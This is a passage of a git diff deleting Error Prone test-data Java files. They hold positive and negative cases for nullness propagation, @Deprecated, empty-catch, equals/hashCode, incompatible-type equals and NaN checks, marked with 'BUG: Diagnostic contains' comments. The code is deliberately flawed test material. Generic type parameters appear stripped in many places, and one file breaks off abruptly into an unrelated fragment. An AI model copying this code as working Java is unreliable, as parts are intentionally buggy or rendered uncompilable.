BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - - String s = HasStaticFields.staticStringField; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(s); - } - } - } - - public void sameNameShadowedThenUnshadowed() { - final String s = HasStaticFields.staticStringField; - - class Bar { - void method() { - { - String s = "foo"; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(s); - } - } - } - - public void nonCompileTimeConstantCapturedVariable() { - final Object nonnull = ENUM_INSTANCE; - - class Bar { - void method() { - /* - * We'd prefer for this to be non-null, but we don't run the analysis over the enclosing - * class's enclosing method, so our captured-variable handling is limited to compile-time - * constants, which include only primitives and strings: - * http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.28 - */ - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nonnull); - } - } - } - - static class HasStaticFields { - static String staticStringField; - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases7.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases7.java deleted file mode 100644 index 031b947defe..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases7.java +++ /dev/null @@ -1,175 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnBoxed; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; -import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases7.HasStaticFields.staticIntField; -import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases7.HasStaticFields.staticStringField; - -/** Tests for field accesses and assignments. */ -public class NullnessPropagationTransferCases7 { - private static class MyClass { - int field; - } - - private static class MyContainerClass { - MyClass field; - } - - enum MyEnum { - ENUM_INSTANCE; - } - - static class HasStaticFields { - static String staticStringField; - static int staticIntField; - } - - private int i; - private String str; - private Object obj; - - private Integer boxedIntReturningMethod() { - return null; - } - - public void field() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(i); - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str); - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(obj); - } - - public void fieldQualifiedByThis() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(this.i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(this.i); - } - - public void fieldQualifiedByOtherVar() { - NullnessPropagationTransferCases7 self = this; - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(self.i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(self.i); - } - - public void fieldAccessIsDereference(MyClass nullableParam) { - MyClass mc = nullableParam; - int i = mc.field; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(mc); - } - - public void staticFieldAccessIsNotDereferenceNullableReturn(HasStaticFields nullableParam) { - String s = nullableParam.staticStringField; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void staticFieldAccessIsNotDereferenceNonNullReturn(MyEnum nullableParam) { - MyEnum x = nullableParam.ENUM_INSTANCE; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void fieldAssignmentIsDereference(MyClass nullableParam) { - MyClass mc = nullableParam; - mc.field = 0; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(mc); - } - - public void chainedFieldAssignmentIsDereference(MyClass nullableParam) { - MyClass mc = nullableParam; - MyContainerClass container = new MyContainerClass(); - container.field.field = 0; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(container); - } - - public void staticFieldAssignmentIsNotDereferenceNullableReturn(HasStaticFields nullableParam) { - nullableParam.staticStringField = "foo"; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void staticFieldAssignmentIsNotDereferenceNonNullReturn(HasStaticFields nullableParam) { - nullableParam.staticIntField = 0; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void staticFieldAccessIsNotDereferenceButPreservesExistingInformation() { - HasStaticFields container = new HasStaticFields(); - String s = container.staticStringField; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(container); - } - - public void trackFieldValues() { - MyContainerClass container = new MyContainerClass(); - container.field = new MyClass(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(container.field); - - container.field.field = 10; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(container.field); - } - - public void assignmentToFieldExpressionValue() { - MyContainerClass container = new MyContainerClass(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(container.field = new MyClass()); - } - - public void assignmentToPrimitiveFieldExpressionValue() { - MyClass mc = new MyClass(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(mc.field = 10); - } - - public void assignmentToStaticImportedFieldExpressionValue() { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(staticStringField = null); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(staticStringField = "foo"); - } - - public void assignmentToStaticImportedPrimitiveFieldExpressionValue() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(staticIntField = boxedIntReturningMethod()); - } - - public void nullableAssignmentToPrimitiveFieldExpressionValue() { - MyClass mc = new MyClass(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(mc.field = boxedIntReturningMethod()); - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases8.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases8.java deleted file mode 100644 index b54a84f3d15..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases8.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; - -import java.io.ByteArrayOutputStream; -import java.io.OutputStream; - -/** Tests for {@code try} blocks. */ -public class NullnessPropagationTransferCases8 { - public void caughtException() { - try { - System.out.println(); - } catch (Throwable t) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(t); - - t = something(); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(t); - } - } - - void tryWithResources() throws Exception { - try (OutputStream out = something()) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(out); - } - - try (OutputStream out = new ByteArrayOutputStream()) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(out); - } - } - - T something() { - return null; - } -}

{} - - @Deprecated - /** - * @deprecated use {@link Selector.Builder#withSummary()} - */ - public abstract void withSummaryRowKeys(int summaryRowKeys); - - /** - * @deprecated use {@link Selector.Builder#withSummary()} - */ - @Deprecated - public abstract void m1(); - - public abstract void m2(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnPositiveCases.java deleted file mode 100644 index 2d5644d1df6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnPositiveCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @deprecated - */ -// BUG: Diagnostic contains: @Deprecated -public class DepAnnPositiveCases { - - /** - * @deprecated - */ - // BUG: Diagnostic contains: @Deprecated - public DepAnnPositiveCases() {} - - /** - * @deprecated - */ - // BUG: Diagnostic contains: @Deprecated - int myField; - - /** - * @deprecated - */ - // BUG: Diagnostic contains: @Deprecated - enum Enum { - VALUE, - } - - /** - * @deprecated - */ - // BUG: Diagnostic contains: @Deprecated - interface Interface {} - - /** - * @deprecated - */ - // BUG: Diagnostic contains: @Deprecated - public void deprecatedMethood() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchNegativeCases.java deleted file mode 100644 index 30b99b6b725..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchNegativeCases.java +++ /dev/null @@ -1,127 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns; - - -import java.io.FileNotFoundException; - -/** - * @author yuan@ece.toronto.edu (Ding Yuan) - */ -public class EmptyCatchNegativeCases { - public void error() throws IllegalArgumentException { - throw new IllegalArgumentException("Fake exception."); - } - - public void harmlessError() throws FileNotFoundException { - throw new FileNotFoundException("harmless exception."); - } - - public void close() throws IllegalArgumentException { - // close() is an allowed method, so any exceptions - // thrown by this method can be ignored! - throw new IllegalArgumentException("Fake exception."); - } - - public void handledException() { - int a = 0; - try { - error(); - } catch (Exception e) { - a++; // handled here - } - } - - public void exceptionHandledByDataflow() { - int a = 0; - try { - error(); - a = 10; - } catch (Throwable t) { - /* Although the exception is ignored here, it is actually - * handled by the if check below. - */ - } - if (a != 10) { - System.out.println("Exception is handled here.."); - a++; - } - } - - public void exceptionHandledByControlFlow() { - try { - error(); - return; - } catch (Throwable t) { - /* Although the exception is ignored here, it is actually - * handled by the return statement in the try block. - */ - } - System.out.println("Exception is handled here.."); - } - - public void alreadyInCatch() { - try { - error(); - } catch (Throwable t) { - try { - error(); - } catch (Exception e) { - // Although e is ignored, it is OK b/c we're already - // in a nested catch block. - } - } - } - - public void harmlessException() { - try { - harmlessError(); - } catch (FileNotFoundException e) { - /* FileNotFoundException is a harmless exception and - * it is OK to ignore it. - */ - } - } - - public void exemptedMethod() { - try { - close(); - } catch (Exception e) { - // Although the exception is ignored, we can allow this b/c - // it is thrown by an exempted method. - } - } - - public void comment() { - int a = 0; // TODO - try { - error(); - // TODO - /* FIXME */ - } catch (Throwable t) { - // ignored - } - } - - public void catchIsLoggedOnly() { - try { - error(); - } catch (Throwable t) { - System.out.println("Caught an exception: " + t); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchPositiveCases.java deleted file mode 100644 index 3ca9445a16e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EmptyCatchPositiveCases.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns; - -import static org.junit.Assert.fail; - -import org.junit.Test; - -/** - * @author yuan@ece.toronto.edu (Ding Yuan) - */ -public class EmptyCatchPositiveCases { - public void error() throws IllegalArgumentException { - throw new IllegalArgumentException("Fake exception."); - } - - public void catchIsCompleteEmpty() { - try { - error(); - } // BUG: Diagnostic contains: - catch (Throwable t) { - - } - } - - @Test - public void expectedException() { - try { - System.err.println(); - fail(); - // BUG: Diagnostic contains: - } catch (Exception expected) { - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestNegativeCases.java deleted file mode 100644 index 5360bbe8d00..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestNegativeCases.java +++ /dev/null @@ -1,36 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -public class EqualsHashCodeTestNegativeCases { - - public static class EqualsAndHashCode { - public boolean equals(Object o) { - return false; - } - - public int hashCode() { - return 42; - } - } - - public static class HashCodeOnly { - public int hashCode() { - return 42; - } - } - - public static class Neither {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestPositiveCases.java deleted file mode 100644 index 3315777b139..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsHashCodeTestPositiveCases.java +++ /dev/null @@ -1,25 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -public class EqualsHashCodeTestPositiveCases { - - public static class EqualsOnly { - // BUG: Diagnostic contains: Classes that override equals should also override hashCode - public boolean equals(Object o) { - return false; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeNegativeCases.java deleted file mode 100644 index 5ed93274e84..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeNegativeCases.java +++ /dev/null @@ -1,205 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableSet; -import java.util.List; -import java.util.Set; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class EqualsIncompatibleTypeNegativeCases { - class A { - public boolean equals(Object o) { - if (o instanceof A) { - return true; - } - return false; - } - } - - class B1 extends A {} - - class B2 extends A {} - - class B3 extends B2 {} - - void checkEqualsAB1B2B3(A a, B1 b1, B2 b2, B3 b3) { - a.equals(a); - a.equals(b1); - a.equals(b2); - a.equals(b3); - a.equals(null); - - b1.equals(a); - b1.equals(b1); - b1.equals(b2); - b1.equals(b3); - b1.equals(null); - - b2.equals(a); - b2.equals(b1); - b2.equals(b2); - b2.equals(b3); - b2.equals(null); - - b3.equals(a); - b3.equals(b1); - b3.equals(b2); - b3.equals(b3); - b3.equals(null); - } - - void checks(Object o, boolean[] bools, boolean bool) { - o.equals(bool); - o.equals(bools[0]); - } - - void checkJUnit(B1 b1, B2 b2) { - org.junit.Assert.assertFalse(b1.equals(b2)); - } - - void checkStaticEquals(A a, B1 b1, B2 b2, B3 b3) { - java.util.Objects.equals(a, a); - java.util.Objects.equals(a, b1); - java.util.Objects.equals(a, b2); - java.util.Objects.equals(a, b3); - java.util.Objects.equals(a, null); - - java.util.Objects.equals(b1, b3); - java.util.Objects.equals(b2, b3); - java.util.Objects.equals(b3, b3); - java.util.Objects.equals(null, b3); - } - - void checkGuavaStaticEquals(A a, B1 b1, B2 b2, B3 b3) { - com.google.common.base.Objects.equal(a, a); - com.google.common.base.Objects.equal(a, b1); - com.google.common.base.Objects.equal(a, b2); - com.google.common.base.Objects.equal(a, b3); - com.google.common.base.Objects.equal(a, null); - - com.google.common.base.Objects.equal(b1, b3); - com.google.common.base.Objects.equal(b2, b3); - com.google.common.base.Objects.equal(b3, b3); - com.google.common.base.Objects.equal(null, b3); - } - - class C {} - - abstract class C1 extends C { - public abstract boolean equals(Object o); - } - - abstract class C2 extends C1 {} - - abstract class C3 extends C1 {} - - void checkEqualsC1C2C3(C1 c1, C2 c2, C3 c3) { - c1.equals(c1); - c1.equals(c2); - c1.equals(c3); - c1.equals(null); - - c2.equals(c1); - c2.equals(c2); - c2.equals(c3); - c2.equals(null); - - c3.equals(c1); - c3.equals(c2); - c3.equals(c3); - c3.equals(null); - } - - interface I { - boolean equals(Object o); - } - - class E1 implements I {} - - class E2 implements I {} - - class E3 extends E2 {} - - void checkEqualsIE1E2E3( - I e, E1 e1, E2 e2, E3 e3, List eList, List e1List, List e2List) { - e.equals(e); - e.equals(e1); - e.equals(e2); - e.equals(e3); - e.equals(null); - - e1.equals(e); - e1.equals(e1); - e1.equals(e2); - e1.equals(e3); - e1.equals(null); - - e2.equals(e); - e2.equals(e1); - e2.equals(e2); - e2.equals(e3); - e2.equals(null); - - e3.equals(e); - e3.equals(e1); - e3.equals(e2); - e3.equals(e3); - e3.equals(null); - - eList.equals(e1List); - eList.equals(e2List); - eList.equals(null); - - e1List.equals(eList); - e1List.equals(e2List); - e1List.equals(null); - - e2List.equals(eList); - e2List.equals(e1List); - e2List.equals(null); - } - - void collectionStuff( - List rawList, - List stringList, - Set stringSet, - ImmutableSet immutableStringSet, - ImmutableList immutableStringList) { - - // With raw types, we can't be sure. So... /shrug - rawList.equals(stringList); - - stringSet.equals(immutableStringSet); - stringList.equals(immutableStringList); - } - - interface J {} - - class F1 implements J {} - - abstract class F2 { - public abstract boolean equals(J o); - } - - void checkOtherEquals(F1 f1, F2 f2) { - f2.equals(f1); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypePositiveCases.java deleted file mode 100644 index 11acf98107d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypePositiveCases.java +++ /dev/null @@ -1,173 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import java.util.List; -import java.util.Map; -import java.util.Set; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class EqualsIncompatibleTypePositiveCases { - class A {} - - class B {} - - void checkEqualsAB(A a, B b) { - // BUG: Diagnostic contains: incompatible types - a.equals(b); - // BUG: Diagnostic contains: incompatible types - b.equals(a); - } - - class C {} - - abstract class C1 extends C { - public abstract boolean equals(Object o); - } - - abstract class C2 extends C1 {} - - abstract class C3 extends C {} - - void checkEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { - // BUG: Diagnostic contains: incompatible types - c3.equals(c1); - // BUG: Diagnostic contains: incompatible types - c3.equals(c2); - // BUG: Diagnostic contains: incompatible types - c1.equals(c3); - // BUG: Diagnostic contains: incompatible types - c2.equals(c3); - } - - void checkStaticEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(c3, c1); - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(c3, c2); - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(c1, c3); - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(c2, c3); - } - - void checkGuavaStaticEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(c3, c1); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(c3, c2); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(c1, c3); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(c2, c3); - } - - void checkPrimitiveEquals(int a, long b) { - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(a, b); - // BUG: Diagnostic contains: incompatible types - java.util.Objects.equals(b, a); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(a, b); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(b, a); - } - - interface I { - boolean equals(Object o); - } - - class D {} - - class D1 extends D {} - - class D2 extends D implements I {} - - void checkEqualsDD1D2(D d, D1 d1, D2 d2) { - // BUG: Diagnostic contains: incompatible types - d1.equals(d2); - // BUG: Diagnostic contains: incompatible types - d2.equals(d1); - } - - enum MyEnum {} - - enum MyOtherEnum {} - - void enumEquals(MyEnum m, MyOtherEnum mm) { - // BUG: Diagnostic contains: incompatible types - m.equals(mm); - // BUG: Diagnostic contains: incompatible types - mm.equals(m); - - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(m, mm); - // BUG: Diagnostic contains: incompatible types - com.google.common.base.Objects.equal(mm, m); - } - - void collectionsWithGenericMismatches( - List stringList, - List intList, - Set stringSet, - Set intSet, - ImmutableList stringImmutableList) { - - // BUG: Diagnostic contains: incompatible types - stringList.equals(intList); - - // BUG: Diagnostic contains: incompatible types - stringSet.equals(intSet); - - // BUG: Diagnostic contains: incompatible types - stringList.equals(stringSet); - - // BUG: Diagnostic contains: incompatible types - intList.equals(stringImmutableList); - } - - void mapKeyChecking( - Map stringIntegerMap, - Map integerStringMap, - Map, Set> stringListSetMap, - Map, Set> intListSetMap) { - // BUG: Diagnostic contains: incompatible types - stringIntegerMap.equals(integerStringMap); - - // BUG: Diagnostic contains: incompatible types - stringListSetMap.equals(intListSetMap); - } - - void nestedColls(Set> setListString, Set> setListInteger) { - // BUG: Diagnostic contains: String and Integer are incompatible - boolean equals = setListString.equals(setListInteger); - } - - class MyGenericClazz {} - - void testSomeGenerics( - MyGenericClazz strClazz, MyGenericClazz intClazz, MyGenericClazz iClazz) { - // BUG: Diagnostic contains: String and Integer are incompatible - strClazz.equals(intClazz); - - // BUG: Diagnostic contains: T and String are incompatible - iClazz.equals(strClazz); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeRecursiveTypes.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeRecursiveTypes.java deleted file mode 100644 index 473b1fe7d8f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsIncompatibleTypeRecursiveTypes.java +++ /dev/null @@ -1,142 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.time.DayOfWeek; -import java.time.Month; -import java.util.Objects; - -/** Checks for objects with recursive type bounds. */ -public class EqualsIncompatibleTypeRecursiveTypes { - - interface Bar {} - - final class ConcreteBar implements Bar {} - - static class Foo> implements Bar { - T field; - - void check(Foo other) { - // OK since Enum and Enum are not incompatible - this.field.equals(other.field); - } - - > void badCheck(Bar other) { - // BUG: Diagnostic contains: T and X are incompatible - this.equals(other); - } - } - - interface RandomInterface {} - - interface Entity< - E extends Entity, - K extends EntityKey, - V extends Enum, - V2 extends Enum> {} - - interface EntityKey> extends Comparable {} - - static final class EK1 implements EntityKey { - @Override - public int compareTo(EK1 o) { - return 0; - } - } - - static final class E1 implements Entity, RandomInterface {} - - static final class E2 implements Entity, RandomInterface {} - - void testMultilayer(Class> eClazz, Class e2Clazz) { - if (Objects.equals(eClazz, E1.class)) { - System.out.println("yay"); - } - - if (Objects.equals(eClazz, E2.class)) { - System.out.println("yay"); - } - - if (Objects.equals(e2Clazz, E2.class)) { - System.out.println("yay"); - } - - // BUG: Diagnostic contains: E2 and E1 are incompatible. - if (Objects.equals(e2Clazz, E1.class)) { - System.out.println("boo"); - } - } - - interface First> { - default A get() { - return null; - } - } - - interface Second extends First> {} - - interface Third extends Second {} - - interface Fourth extends Second {} - - void testing(Third third, Fourth fourth) { - // BUG: Diagnostic contains: Third and Fourth - boolean equals = third.equals(fourth); - } - - interface RecOne extends Comparable> {} - - interface RecTwo extends Comparable> {} - - void testMultiRecursion(RecOne a, RecTwo b) { - // BUG: Diagnostic contains: RecOne and RecTwo - boolean bad = a.equals(b); - } - - interface Quux> {} - - interface Quuz> extends Quux {} - - interface Quiz> extends Quux {} - - interface Id1 extends Quuz {} - - interface Id2 extends Quiz {} - - abstract static class Id3 implements Quuz, Quiz {} - - void test(Id1 first, Id3 second) { - // BUG: Diagnostic contains: Id1 and Id3 - boolean res = Objects.equals(first, second); - } - - class I {} - - class J, B extends I, C extends I> {} - - < - A1 extends I, - B1 extends I, - C1 extends I, - A2 extends I, - B2 extends I, - C2 extends I> - void something(J j1, J j2) { - // Technically this could work, since there's nothing stopping A1 == A2, etc. - boolean equals = j1.equals(j2); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNNegativeCases.java deleted file mode 100644 index c61702e173b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNNegativeCases.java +++ /dev/null @@ -1,25 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author lowasser@google.com (Louis Wasserman) - */ -public class EqualsNaNNegativeCases { - static final boolean NAN_AFTER_MATH = (0.0 / 0.0) == 1.0; - static final boolean NORMAL_COMPARISON = 1.0 == 2.0; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNPositiveCases.java deleted file mode 100644 index 898dec47f61..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNPositiveCases.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY 